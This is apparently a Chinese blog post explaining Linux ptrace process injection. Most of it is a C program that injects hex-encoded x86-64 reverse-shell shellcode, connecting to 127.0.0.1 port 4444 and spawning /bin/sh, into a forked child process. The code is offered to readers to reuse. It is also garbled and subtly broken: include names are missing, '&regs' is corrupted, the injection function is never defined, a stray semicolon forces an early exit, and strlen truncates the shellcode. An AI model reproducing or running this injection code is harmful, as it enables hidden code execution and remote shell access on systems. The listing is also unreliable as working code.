之前分享过Linux进程注入的原理,最近又有新的发现,和大家分享一下,希望能帮到大家!
ptrace是Linux操作系统中的一个系统调用,允许一个进程跟踪另一个进程。这意味着一个进程可以在运行时被另一个进程暂停、恢复和检查。它经常被用来比如调试和监视,并且对于安全和系统管理任务起到作用。
当进程进行 ptrace 调用时,它指定要跟踪的进程和要执行的跟踪类型,被跟踪的进程将进入停止状态,调用进程将获得对其的控制权。然后,调用进程可以检查和修改被跟踪进程的内存和寄存器,以及在发生某些事件(如正在系统调用)时接收通知。因此,黑客可能用它来做恶意。
我使用 ptrace 的原代码导致注入的程序崩掉后,我打算生成一个子进程并注入该进程。shell 代码只是一个反向 shell,它连接回本地主机 127.0.0.1,在端口 4444 上运行。
这样便可对所有代码进行注释,首先定义有效负载,使用 fork() 系统调用创建一个子进程,并利用 ptrace跟踪之前生成的子进程,通过ptrace getregs就可以看到RIP,接下来,我们使用 setregs 设置注册表,然后等待子进程。如果成功,注入的 shell 代码会生成一个子进程,该子进程创建一个反向 shell,反向 shell 是允许攻击者在远程主机上执行命令的 shell。下面是我写的代码,大家可以参考:
#include #include #include #include #include #include #include #include int injecting_shell(pid_t pid, unsigned char *src, void *dst, int len);int main(int argc, char **argv){
unsigned char *payload = (unsigned char*)
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";
size_t payload_size = strlen((char*)payload);
pid_t pid;
int status;
pid = fork();
if (pid == -1){
perror("fork");
exit(-1);
}else if (pid == 0) {
// child process
if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1){
perror("ptrace");
exit(-1);
}
execl("/bin/ls", "ls", NULL);
exit(0);
}else{
if(waitpid(pid, &status, 0) == -1){
perror("waitpid");
exit(-1);
}
if (!WIFSTOPPED(status)){
perror("Child has not stopped");
exit(-1);
}
struct user_regs_struct regs;
printf("Got registers\n");
ptrace(PTRACE_GETREGS,pid, NULL, ®s);
printf("RAX: %llx\n", (unsigned long long) regs.rax);
printf("RBX: %llx\n", (unsigned long long) regs.rbx);
printf("RCX: %llx\n", (unsigned long long) regs.rcx);
printf("RDX: %llx\n", (unsigned long long) regs.rdx);
printf("RDI: %llx\n", (unsigned long long) regs.rdi);
printf("RSI: %llx\n", (unsigned long long) regs.rsi);
printf("RIP: %llx\n", (unsigned long long) regs.rip);
printf("[+] Injecting shell code at:%p[+]\n",(void*)regs.rip);
injecting_shell(pid, payload,(void*)regs.rip, payload_size);
regs.rip += payload_size;
printf("[+] Setting instruciton pointer %p[+]\n",(void*)regs.rip);
if(ptrace(PTRACE_SETREGS, pid, NULL, ®s) ==-1){
perror("ptrace(GETREGS):");
exit(-1);
}
if((ptrace(PTRACE_CONT, pid, NULL, NULL)) == -1);
perror("ptrace(CONT)");
exit(-1);
}
printf("[+]Running![+]\n");
if ((ptrace(PTRACE_CONT,pid, NULL, NULL)) == -1){
perror("ptrace(CONT):");
exit(-1);
}
if(waitpid(pid, &status, 0) ==-1){
perror("waitpid");
exit(-1);
}
printf("[+] Done![+]\n");